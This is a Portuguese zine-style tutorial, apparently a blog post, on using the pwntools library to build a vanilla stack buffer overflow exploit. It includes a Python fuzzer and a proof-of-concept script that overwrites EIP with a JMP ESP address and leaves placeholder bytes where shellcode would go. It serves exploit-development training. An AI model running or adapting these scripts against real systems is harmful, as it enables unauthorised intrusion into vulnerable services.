USANDO A PWNTOOLS PARA BINARY EXPLOITATION
----------------------------------------------------------------
offensive think :: artigo técnico em formato zine / nfo
----------------------------------------------------------------
titulo : Usando a pwntools para Binary Exploitation
autor : offensive think
data : Tue, Nov 3, 2020
tags : bof, osce, binary-exploitation
----------------------------------------------------------------
--> https://www.offensivethink.com/posts/binary-exploitation-with-pwntools.html <--
---[ INDEX ]------------------------------------------------------------
0 - COMEÇANDO QUASE QUE DO COMEÇO
_Primeiramente, desculpem os "estrangeirismos aportuguesados" como atachar, dentre outros. Creio que na área, ajuda mais que atrapalha. _
---[ 0x00 - COMEÇANDO QUASE QUE DO COMEÇO ]-----------------------------
_Esse não é uma explicação de como se constrói todo um exploit e também não aborda todos os porquês de seguirmos o passo a passo abaixo. É apenas uma "dica" na utilização da biblioteca pwntools na construção de exploits para exploração de buffer overflow. Estamos aqui tratando de um Buffer Overflow simples do tipo Vanilla._
Podemos usar a pwntools para nos ajudar em alguns pontos, como por exemplo:
1. Gerar o pattern e descobrir o offset onde na pilha o valor que vai parar o EIP é sobreescrito sem precisar recorrer ao msf-pattern_* do metasploit
2. Não precisar inverter bytes para respeitar o little endian
3. Abstrair a questão de como o python3 tratam as strings diferentemente do python2, o que causa vários problemas na hora do exploitation.
A pwntools (https://github.com/Gallopsled/pwntools) possui muitas e muitas funções, até mesmo para fechar conexão abstraindo a biblioteca socket. Isso ficará, quem sabe, para um próximo artigo.
Esta proposição não visa substituir a forma didática de aprender sobre o processo usando A's, B's e C'S, entendendo bem como os valores vão parar na pilha, mas sim avançar um pouco no processo.
Bem, a pwntools tem duas função que nos ajudarão: cyclic(<lenght>) , que serve para gerar padrões de tamanho determinado e cyclic_find(b'<padrão encontrado>'), que serve para determinar o offset que desejamos. *Observe o b antes da string*, pois a função espera uma sequência de bytes.
observe que o retorno da funçao cyclic é um byte array, em conformidade com o esperado para binary exploitation!
Bem, no debuger, quando o fuzzer surtir efeito e "travar" a aplicação, o que veremos escrito no EIP é um valor hexadecimal e não o padrão propriamente dito, ou seja, a sua representação hexadecimal. Poderíamos "pegar" o valor hexa que está em EIP, transformar em caracteres ascii e invertê-los (lembra do little endian?), mas a idéia é facilitar.
Neste caso, podemos usar a função pack(<end_hexa>), para obter o padrão desejado.
*Observe que*, usando a pwntools, *não precisaremos importar a biblioteca struct, *ela já possue sua função pack. Basta pegar o hexa que tem no EIP, colocar dentro da função pack, passar o resultado para o cyclic_find e Voilá, offset definido!
E como ficaria isso no código, propriamente dito ?
*FUZZING*
Desta forma passaremos já o padrão em incrementos de 50 em 50 bytes.
#!/usr/bin/env python3
import sys, socket
from pwn import *
host="192.168.1.2"
port=8080
#Passo 1 - Fuzzing!
def doFuzz():
for i in range(1,100):
buffer=b"CMD " + cyclic(50*i) # de 50 em 50 bytes!
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.sendall(buffer)
print("[+] Sending %d bytes - %s \n" % ( (50*i), buffer ))
s.close()
doFuzz()
Após o fuzzing podemos já capturar o valor que está em EIP, que vamos usar para definir o offset que precisamos,
e o valor do endereço de um jmp esp, através do mona.py, que usaremos para direcionar para o EIP.
Vamos ao POC, já que temos tudo, offset e endereço do JMP ESP.
*POC - Offset do EIP definido + Endereço do JMP ESP definido.*
#!/usr/bin/env python3
import sys, socket
from pwn import *
host="192.168.1.2"
port=8080
def doPOC():
totalBufferLenght = 700 # valor desejado do buffer total
# addressFoundinEIP
# Valor obtido do reg EIP atraves do debug
# quando executado o Fuzzing!
# Observe que é um padrão em Hexa
# print("\x61\x61\x6C\x62") = aalb
addressFoundinEIP=0x61616C62
offsetEIP= cyclic_find(pack(addressFoundinEIP))
# Construção do que vamos enviar para o binário
# 1. Bytes iniciais quaisquer, neste caso A's, até o offset desejado
bufferInicial= ("CMD " + "A" * offsetEIP).encode('latin-1')
# 2. Valor que desejamos que vá parar em EIP para que a CPU execute
# um JMP ESP, que será onde estará posicionado nosso ShellCode.
# Endereço de um JMP ESP desejado obtido no immunity debug com o comando
# !mona jmp -r ESP -n
adressToJMPESP = pack(0x7274146F)
# 3. Shellcode propriamente dito.
# Neste ponto, para validação, apenas uma quantidade de C's igual a
# Tamanho total do Buffer que definimos como aceitável para: extrapolar
# o buffer da aplicação escrevendo A's + escrever o endereço que desejamos
# que vá para o EIP + nosso shell code. Neste caso, estimamos um buffer total
# de 700 bytes. Poderia ser mais, poderia ser menos, mas esse foi aceitável.
lengthShellCode = totalBufferLenght - len(bufferInicial) - len(adressToJMPESP)
shellcode= b'C'*lengthShellCode # observe o b para indicar byte array!
buffer=bufferInicial+adressToJMPESP+shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.sendall(buffer)
print("[+] Sending Exploit %s" % buffer )
s.close()
doPoc()
Pronto, agora é continuar em achar os null bytes, gerar o shell code, explorar e ser feliz!
Espero que ajude.
---[ EOF ]--------------------------------------------------------------
offensive think / 2026